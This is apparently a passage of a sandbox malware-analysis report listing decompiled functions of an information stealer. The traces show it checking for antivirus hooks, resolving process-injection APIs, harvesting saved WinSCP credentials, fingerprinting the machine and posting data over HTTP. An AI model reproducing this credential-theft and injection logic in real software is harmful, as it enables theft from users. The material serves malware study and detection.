Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: InfoSystemwsprintf
String ID:
API String ID: 2452939696-0
Opcode ID: e637e8aab801439de9bc44e71c31382fac72ef2389c198cbea4390031139136a
Instruction ID: 6c0481986785c7e2717436e8e2b08dc759ad54590fa62cf2574ac2b65fcfdefc
Opcode Fuzzy Hash: e637e8aab801439de9bc44e71c31382fac72ef2389c198cbea4390031139136a
Instruction Fuzzy Hash: C6E09270D1021C9BCF21DFA0ED599DD73FCAF04204F4045B5E605E3184D6B4AB889F80

Function 00FE149D Relevance: 1.3, APIs: 1, Instructions: 40stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNEL32(?,?,?,?,?,?,00FE14F3,avghookx.dll,00FF7FC6), ref: 00FE14CF

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: lstrcmpi
String ID:
API String ID: 1586166983-0
Opcode ID: fdc7626d6448d267a570384b87506c32fee5f21072150372c4e276b5190a0f7f
Instruction ID: d65366c1f267b4d629e48592304a1855867f5f29218f646683ae1c891203ec2d
Opcode Fuzzy Hash: fdc7626d6448d267a570384b87506c32fee5f21072150372c4e276b5190a0f7f
Instruction Fuzzy Hash: D4F05836A04154ABCF21CF5AD804AAAFBB8FB43760F256054E809B7240C330ED11EA98

Function 00FF83D2 Relevance: 231.5, APIs: 121, Strings: 11, Instructions: 518
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(77190000,00FF7480), ref: 00FF83E6
GetProcAddress.KERNEL32 ref: 00FF83FD
GetProcAddress.KERNEL32 ref: 00FF8414
GetProcAddress.KERNEL32 ref: 00FF842B
GetProcAddress.KERNEL32 ref: 00FF8442
GetProcAddress.KERNEL32 ref: 00FF8459
GetProcAddress.KERNEL32 ref: 00FF8470
GetProcAddress.KERNEL32 ref: 00FF8487
GetProcAddress.KERNEL32 ref: 00FF849E
GetProcAddress.KERNEL32 ref: 00FF84B5
GetProcAddress.KERNEL32 ref: 00FF84CC
GetProcAddress.KERNEL32 ref: 00FF84E3
GetProcAddress.KERNEL32 ref: 00FF84FA
GetProcAddress.KERNEL32 ref: 00FF8511
GetProcAddress.KERNEL32 ref: 00FF8528
GetProcAddress.KERNEL32 ref: 00FF853F
GetProcAddress.KERNEL32 ref: 00FF8556
GetProcAddress.KERNEL32 ref: 00FF856D
GetProcAddress.KERNEL32 ref: 00FF8584
GetProcAddress.KERNEL32 ref: 00FF859B
GetProcAddress.KERNEL32 ref: 00FF85B2
GetProcAddress.KERNEL32 ref: 00FF85C9
GetProcAddress.KERNEL32 ref: 00FF85E0
GetProcAddress.KERNEL32 ref: 00FF85F7
GetProcAddress.KERNEL32 ref: 00FF860E
GetProcAddress.KERNEL32 ref: 00FF8625
GetProcAddress.KERNEL32 ref: 00FF863C
GetProcAddress.KERNEL32 ref: 00FF8653
GetProcAddress.KERNEL32 ref: 00FF866A
GetProcAddress.KERNEL32 ref: 00FF8681
GetProcAddress.KERNEL32 ref: 00FF8698
GetProcAddress.KERNEL32 ref: 00FF86AF
GetProcAddress.KERNEL32 ref: 00FF86C6
GetProcAddress.KERNEL32 ref: 00FF86DD
GetProcAddress.KERNEL32 ref: 00FF86F4
GetProcAddress.KERNEL32 ref: 00FF870B
GetProcAddress.KERNEL32 ref: 00FF8722
GetProcAddress.KERNEL32 ref: 00FF8739
GetProcAddress.KERNEL32 ref: 00FF8750
GetProcAddress.KERNEL32 ref: 00FF8767
GetProcAddress.KERNEL32 ref: 00FF877E
GetProcAddress.KERNEL32 ref: 00FF8795
GetProcAddress.KERNEL32 ref: 00FF87AC
GetProcAddress.KERNEL32(CreateProcessA), ref: 00FF87C2
GetProcAddress.KERNEL32(GetThreadContext), ref: 00FF87D8
GetProcAddress.KERNEL32(ReadProcessMemory), ref: 00FF87EE
GetProcAddress.KERNEL32(VirtualAllocEx), ref: 00FF8804
GetProcAddress.KERNEL32(ResumeThread), ref: 00FF881A
GetProcAddress.KERNEL32(WriteProcessMemory), ref: 00FF8830
GetProcAddress.KERNEL32(SetThreadContext), ref: 00FF8846
LoadLibraryA.KERNEL32(00FF7480), ref: 00FF8857
LoadLibraryA.KERNEL32 ref: 00FF8868
LoadLibraryA.KERNEL32 ref: 00FF8879
LoadLibraryA.KERNEL32 ref: 00FF888A
LoadLibraryA.KERNEL32 ref: 00FF889B
LoadLibraryA.KERNEL32 ref: 00FF88AC
LoadLibraryA.KERNEL32 ref: 00FF88BD
LoadLibraryA.KERNEL32 ref: 00FF88CE
LoadLibraryA.KERNEL32(dbghelp.dll), ref: 00FF88DE
GetProcAddress.KERNEL32(77040000), ref: 00FF88F9
GetProcAddress.KERNEL32 ref: 00FF8910
GetProcAddress.KERNEL32 ref: 00FF8927
GetProcAddress.KERNEL32 ref: 00FF893E
GetProcAddress.KERNEL32 ref: 00FF8955
GetProcAddress.KERNEL32(73CA0000), ref: 00FF8974
GetProcAddress.KERNEL32 ref: 00FF898B
GetProcAddress.KERNEL32 ref: 00FF89A2
GetProcAddress.KERNEL32 ref: 00FF89B9
GetProcAddress.KERNEL32 ref: 00FF89D0
GetProcAddress.KERNEL32 ref: 00FF89E7
GetProcAddress.KERNEL32 ref: 00FF89FE
GetProcAddress.KERNEL32 ref: 00FF8A15
GetProcAddress.KERNEL32(768D0000), ref: 00FF8A30
GetProcAddress.KERNEL32 ref: 00FF8A47
GetProcAddress.KERNEL32 ref: 00FF8A5E
GetProcAddress.KERNEL32 ref: 00FF8A75
GetProcAddress.KERNEL32 ref: 00FF8A8C
GetProcAddress.KERNEL32(75790000), ref: 00FF8AAB
GetProcAddress.KERNEL32 ref: 00FF8AC2
GetProcAddress.KERNEL32 ref: 00FF8AD9
GetProcAddress.KERNEL32 ref: 00FF8AF0
GetProcAddress.KERNEL32 ref: 00FF8B07
GetProcAddress.KERNEL32 ref: 00FF8B1E
GetProcAddress.KERNEL32(75A10000), ref: 00FF8B3D
GetProcAddress.KERNEL32 ref: 00FF8B54
GetProcAddress.KERNEL32 ref: 00FF8B6B
GetProcAddress.KERNEL32 ref: 00FF8B82
GetProcAddress.KERNEL32 ref: 00FF8B99
GetProcAddress.KERNEL32 ref: 00FF8BB0
GetProcAddress.KERNEL32 ref: 00FF8BC7
GetProcAddress.KERNEL32 ref: 00FF8BDE
GetProcAddress.KERNEL32 ref: 00FF8BF5
GetProcAddress.KERNEL32(76850000), ref: 00FF8C10
GetProcAddress.KERNEL32 ref: 00FF8C27
GetProcAddress.KERNEL32 ref: 00FF8C3E
GetProcAddress.KERNEL32 ref: 00FF8C55
GetProcAddress.KERNEL32 ref: 00FF8C6C
GetProcAddress.KERNEL32(75690000), ref: 00FF8C87
GetProcAddress.KERNEL32 ref: 00FF8C9E
GetProcAddress.KERNEL32(769C0000), ref: 00FF8CB9
GetProcAddress.KERNEL32 ref: 00FF8CD0
GetProcAddress.KERNEL32(6F8C0000), ref: 00FF8CEF
GetProcAddress.KERNEL32 ref: 00FF8D06
GetProcAddress.KERNEL32 ref: 00FF8D1D
GetProcAddress.KERNEL32 ref: 00FF8D34
GetProcAddress.KERNEL32 ref: 00FF8D4B
GetProcAddress.KERNEL32 ref: 00FF8D62
GetProcAddress.KERNEL32 ref: 00FF8D79
GetProcAddress.KERNEL32 ref: 00FF8D90
GetProcAddress.KERNEL32(HttpQueryInfoA), ref: 00FF8DA6
GetProcAddress.KERNEL32(InternetSetOptionA), ref: 00FF8DBC
GetProcAddress.KERNEL32(75D90000), ref: 00FF8DD7
GetProcAddress.KERNEL32 ref: 00FF8DEE
GetProcAddress.KERNEL32 ref: 00FF8E05
GetProcAddress.KERNEL32 ref: 00FF8E1C
GetProcAddress.KERNEL32(76470000), ref: 00FF8E37
GetProcAddress.KERNEL32(6D050000), ref: 00FF8E52
GetProcAddress.KERNEL32 ref: 00FF8E69
GetProcAddress.KERNEL32 ref: 00FF8E80
GetProcAddress.KERNEL32 ref: 00FF8E97
GetProcAddress.KERNEL32(6CE60000,SymMatchString), ref: 00FF8EB1

Strings

ReadProcessMemory, xrefs: 00FF87DE
dbghelp.dll, xrefs: 00FF88D4
ResumeThread, xrefs: 00FF880A
HttpQueryInfoA, xrefs: 00FF8D96
CreateProcessA, xrefs: 00FF87B2
VirtualAllocEx, xrefs: 00FF87F4
WriteProcessMemory, xrefs: 00FF8820
InternetSetOptionA, xrefs: 00FF8DAC
SymMatchString, xrefs: 00FF8EAB
SetThreadContext, xrefs: 00FF8836
GetThreadContext, xrefs: 00FF87C8

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: CreateProcessA$GetThreadContext$HttpQueryInfoA$InternetSetOptionA$ReadProcessMemory$ResumeThread$SetThreadContext$SymMatchString$VirtualAllocEx$WriteProcessMemory$dbghelp.dll
API String ID: 2238633743-2740034357
Opcode ID: b73603037cb249450de0fea45d9dd8ce0feff7d65578589bc590beae7866a5f9
Instruction ID: 5fd2c4269188aa9f43b826eb5a5c95a279d4a97063b252d29b856459a6ca5405
Opcode Fuzzy Hash: b73603037cb249450de0fea45d9dd8ce0feff7d65578589bc590beae7866a5f9
Instruction Fuzzy Hash: 3A52E979401216EFDBB25F65FA4D8663BB3F72C345381C426EB858226CEB724860EF50

Function 00FEE33A Relevance: 56.3, APIs: 18, Strings: 14, Instructions: 325
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 00FEE36B
_memset.LIBCMT ref: 00FEE38B
_memset.LIBCMT ref: 00FEE39C
_memset.LIBCMT ref: 00FEE3AD
RegOpenKeyExA.KERNEL32(80000001,Software\Martin Prikryl\WinSCP 2\Configuration,00000000,00000001,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00FEE3E1
RegGetValueA.ADVAPI32(?,Security,UseMasterPassword,00000010,00000000,?,?), ref: 00FEE412
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00FEE42A
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00FEE451
RegOpenKeyExA.ADVAPI32(80000001,Software\Martin Prikryl\WinSCP 2\Sessions,00000000,00000009,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00FEE471
RegEnumKeyExA.ADVAPI32(?,00000000,?,00000104,00000000,00000000,00000000,00000000), ref: 00FEE494
RegGetValueA.ADVAPI32(?,?,HostName,00000002,00000000,?,?,Host: ,Soft: WinSCP,01015927), ref: 00FEE52D
RegGetValueA.ADVAPI32(?,?,PortNumber,0000FFFF,00000000,?,?,?), ref: 00FEE58D

Strings

Software\Martin Prikryl\WinSCP 2\Sessions, xrefs: 00FEE467
UseMasterPassword, xrefs: 00FEE402
HostName, xrefs: 00FEE51B
Soft: WinSCP, xrefs: 00FEE4B2
Host: , xrefs: 00FEE4DE
:22, xrefs: 00FEE5E1
UserName, xrefs: 00FEE64A
Password: , xrefs: 00FEE6DD
Software\Martin Prikryl\WinSCP 2\Configuration, xrefs: 00FEE3BF
passwords.txt, xrefs: 00FEE816
Password, xrefs: 00FEE6C9
Security, xrefs: 00FEE407
PortNumber, xrefs: 00FEE571
Login: , xrefs: 00FEE60D

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: _memset$Value$CloseOpen$Enum
String ID: Login: $:22$Host: $HostName$Password$Password: $PortNumber$Security$Soft: WinSCP$Software\Martin Prikryl\WinSCP 2\Configuration$Software\Martin Prikryl\WinSCP 2\Sessions$UseMasterPassword$UserName$passwords.txt
API String ID: 463713726-2798830873
Opcode ID: efab34c028da9bd62b7f002fea08d1200eb7ac2272b34a67ebf746a089db3dae
Instruction ID: bc17be707dd185169d7a3ce12d92d2c6006d42f7169f162d52ef4af80a6b35c4
Opcode Fuzzy Hash: efab34c028da9bd62b7f002fea08d1200eb7ac2272b34a67ebf746a089db3dae
Instruction Fuzzy Hash: D9D1C97291012DAADB20EB91DC41BEDB778AF04304F4144E7A608B7126DBB57F85DFA1

Function 00FE5F2B Relevance: 53.0, APIs: 20, Strings: 10, Instructions: 466
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00FF073C: lstrcpyA.KERNEL32(00000000,?,?,00FE1CF7,?,00FF7504), ref: 00FF075B

Part of subcall function 00FE4AA7: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00FE4AD9
Part of subcall function 00FE4AA7: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00FE4ADF
Part of subcall function 00FE4AA7: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00FE4AE5
Part of subcall function 00FE4AA7: lstrlenA.KERNEL32(000000FF,00000000,?), ref: 00FE4AF7
Part of subcall function 00FE4AA7: InternetCrackUrlA.WININET(000000FF,00000000), ref: 00FE4AFF

Part of subcall function 00FF070A: lstrcpyA.KERNEL32(00000000,00000000,?,00FF724D,0101572D,?,?,?,?,00FF8011), ref: 00FF0730

InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 00FE5FCA
StrCmpCA.SHLWAPI(?), ref: 00FE5FE8
InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00FE6180
HttpOpenRequestA.WININET(?,?,00000000,00000000,?,00000000), ref: 00FE61C4
lstrlenA.KERNEL32(?,",mode,01016928,------,0101691C,a21440e9f7223be06be5f5e2f94969c7,",build_id,01016904,------,010168F8,",010168EC,------), ref: 00FE65EF
lstrlenA.KERNEL32(?), ref: 00FE65FE
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00FE6609
HeapAlloc.KERNEL32(00000000), ref: 00FE6610
lstrlenA.KERNEL32(?), ref: 00FE661D
_memmove.LIBCMT ref: 00FE662B
lstrlenA.KERNEL32(?), ref: 00FE6639
lstrlenA.KERNEL32(?,?,00000000), ref: 00FE6647
_memmove.LIBCMT ref: 00FE6654
lstrlenA.KERNEL32(?,?,00000000), ref: 00FE6669
HttpSendRequestA.WININET(00000000,?,00000000), ref: 00FE6677
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00FE66D4
InternetCloseHandle.WININET(00000000), ref: 00FE66DF
InternetCloseHandle.WININET(?), ref: 00FE66EB
InternetCloseHandle.WININET(?), ref: 00FE66F7
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00FE61F2

Part of subcall function 00FF082C: lstrlenA.KERNEL32(?,?,?,00FF726B,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF0840
Part of subcall function 00FF082C: lstrcpyA.KERNEL32(00000000,?,?,?,00FF726B,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF0868
Part of subcall function 00FF082C: lstrcatA.KERNEL32(?,00000000,?,?,00FF726B,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF0873

Part of subcall function 00FF07B0: lstrcpyA.KERNEL32(00000000,?,?,00FF7286,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF07E0

Part of subcall function 00FF07EA: lstrcpyA.KERNEL32(00000000,?,0000000C,00FF74CC,010157A7), ref: 00FF0818
Part of subcall function 00FF07EA: lstrcatA.KERNEL32(?,?), ref: 00FF0822

Strings

build_id, xrefs: 00FE640B
------, xrefs: 00FE6072
------, xrefs: 00FE6359
a21440e9f7223be06be5f5e2f94969c7, xrefs: 00FE6463
------, xrefs: 00FE64BB
mode, xrefs: 00FE6567
", xrefs: 00FE6593
------, xrefs: 00FE61F8
", xrefs: 00FE6437
", xrefs: 00FE62D7

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: Internetlstrlen$lstrcpy$CloseHandle$HeapHttpOpenRequest_memmovelstrcat$AllocConnectCrackFileOptionProcessReadSend
String ID: "$"$"$------$------$------$------$a21440e9f7223be06be5f5e2f94969c7$build_id$mode
API String ID: 3702379033-3626711658
Opcode ID: 0c60369923cbf35be8dde33bdd8937809b7e43066b1624f0695f7af51e6a5d97
Instruction ID: 1fb96129410a69a2cebf87023a8004c197b1d84d6e61999cea6f0689d40b5227
Opcode Fuzzy Hash: 0c60369923cbf35be8dde33bdd8937809b7e43066b1624f0695f7af51e6a5d97
Instruction Fuzzy Hash: 7022A73290016D9BCF61EB61DC46BDDB775AF04300F4184E2A60977126DAB57F8AAFD0

Function 00FF3D63 Relevance: 49.7, APIs: 2, Strings: 26, Instructions: 674
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00FF070A: lstrcpyA.KERNEL32(00000000,00000000,?,00FF724D,0101572D,?,?,?,?,00FF8011), ref: 00FF0730

Part of subcall function 00FF082C: lstrlenA.KERNEL32(?,?,?,00FF726B,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF0840
Part of subcall function 00FF082C: lstrcpyA.KERNEL32(00000000,?,?,?,00FF726B,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF0868
Part of subcall function 00FF082C: lstrcatA.KERNEL32(?,00000000,?,?,00FF726B,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF0873

Part of subcall function 00FF07B0: lstrcpyA.KERNEL32(00000000,?,?,00FF7286,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF07E0

Part of subcall function 00FF0EE3: GetProcessHeap.KERNEL32(00000000,00000104,?,Version: ,010155C7,?,?,?), ref: 00FF0EFB
Part of subcall function 00FF0EE3: HeapAlloc.KERNEL32(00000000), ref: 00FF0F02
Part of subcall function 00FF0EE3: GetLocalTime.KERNEL32(?), ref: 00FF0F0E
Part of subcall function 00FF0EE3: wsprintfA.USER32 ref: 00FF0F39

Part of subcall function 00FF17F7: _memset.LIBCMT ref: 00FF182A
Part of subcall function 00FF17F7: RegOpenKeyExA.KERNEL32(80000002,SOFTWARE\Microsoft\Cryptography,00000000,00020119,?,?,?,?), ref: 00FF1849
Part of subcall function 00FF17F7: RegQueryValueExA.KERNEL32(?,MachineGuid,00000000,00000000,?,000000FF,?,?,?), ref: 00FF186E
Part of subcall function 00FF17F7: RegCloseKey.ADVAPI32(?,?,?,?), ref: 00FF187A
Part of subcall function 00FF17F7: CharToOemA.USER32(?,?), ref: 00FF188E

Part of subcall function 00FF18A7: GetCurrentHwProfileA.ADVAPI32(?), ref: 00FF18C2
Part of subcall function 00FF18A7: _memset.LIBCMT ref: 00FF18F1
Part of subcall function 00FF18A7: lstrcatA.KERNEL32(?,00000000,?,?,?,?,?), ref: 00FF1919
Part of subcall function 00FF18A7: lstrcatA.KERNEL32(?,01015DFC,?,?,?,?,?), ref: 00FF1936

Part of subcall function 00FF07EA: lstrcpyA.KERNEL32(00000000,?,0000000C,00FF74CC,010157A7), ref: 00FF0818
Part of subcall function 00FF07EA: lstrcatA.KERNEL32(?,?), ref: 00FF0822

Part of subcall function 00FF0BC5: GetWindowsDirectoryA.KERNEL32(?,00000104,?,?,00000000), ref: 00FF0BF8
Part of subcall function 00FF0BC5: GetVolumeInformationA.KERNEL32(?,00000000,00000000,?,00000000,00000000,00000000,00000000,?,?,00000000), ref: 00FF0C38
Part of subcall function 00FF0BC5: GetProcessHeap.KERNEL32(00000000,00000104,?,?,00000000), ref: 00FF0C8D
Part of subcall function 00FF0BC5: HeapAlloc.KERNEL32(00000000,?,?,00000000), ref: 00FF0C94

GetCurrentProcessId.KERNEL32(Path: ,01015864,HWID: ,01015858,GUID: ,0101584C,00000000,MachineID: ,0101583C,00000000,Date: ,01015830,0101582C,11.3,Version: ,010155C7), ref: 00FF3FB8

Part of subcall function 00FF246D: OpenProcess.KERNEL32(00000410,00000000,00FF3FC7,00000000,?), ref: 00FF248F
